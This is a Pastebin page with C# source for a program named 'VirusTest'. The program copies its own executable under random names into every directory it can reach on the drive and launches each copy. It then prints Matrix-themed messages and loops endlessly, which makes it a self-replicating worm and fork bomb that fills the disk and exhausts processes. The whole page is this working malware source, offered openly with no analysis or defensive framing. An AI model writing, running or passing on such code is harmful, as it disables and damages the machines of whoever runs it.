Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.IO;
- using System.Collections.Generic;
- using System.Diagnostics;
- using System.Text;
- namespace VirusTest
- {
- class Program
- { private static byte[] this_file;
- private static Random r;
- private static char get_random_char()
- {
- string dictionary = "0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM<>()*&?@!#$%-_";
- int num = r.Next(0, dictionary.Length);
- return dictionary[num];
- }
- private static string name_generator()
- {
- int l = r.Next(1, 16);
- StringBuilder s = new StringBuilder();
- char t;
- for(int i = 0; i < l; i++)
- {
- t = get_random_char();
- s.Append(t);
- }
- return s.ToString();
- }
- private static string[] get_all_directoryes()
- {
- string start_directory = string.Format("{0}\\", Environment.CurrentDirectory.Trim().Split('\\')[0]);
- List<string> dirs = new List<string>(Directory.GetDirectories(start_directory));
- string[] t;
- for(int i = 0; i < dirs.Count; i++)
- {
- try
- {
- t = Directory.GetDirectories(dirs[i]);
- foreach(string q in t)
- {
- dirs.Add(q);
- }
- }
- catch
- {
- continue;
- }
- }
- dirs.Sort();
- return dirs.ToArray();
- }
- private static void clone_self(string path)
- {
- string name = name_generator();
- string new_file_path = string.Format("{0}\\{1}.exe", path, name);
- try
- {
- File.WriteAllBytes(new_file_path, this_file);
- Process.Start(new_file_path);
- }
- catch
- {
- return;
- }
- }
- public static void Main(string[] args)
- {
- Console.Title = "Oops!";
- Console.ForegroundColor = ConsoleColor.Green;
- Console.Write("Wake up, Neo! Matrix has you! ");
- r = new Random();
- string this_file_path =
- System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
- this_file = File.ReadAllBytes(this_file_path);
- string[] directoryes = get_all_directoryes();
- foreach(string i in directoryes)
- {
- clone_self(i);
- Console.WriteLine("Wake up, Neo! Matrix has you!");
- }
- for(;;)
- {
- Console.Write("{0} ", get_random_char());
- }
- Console.ReadKey();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement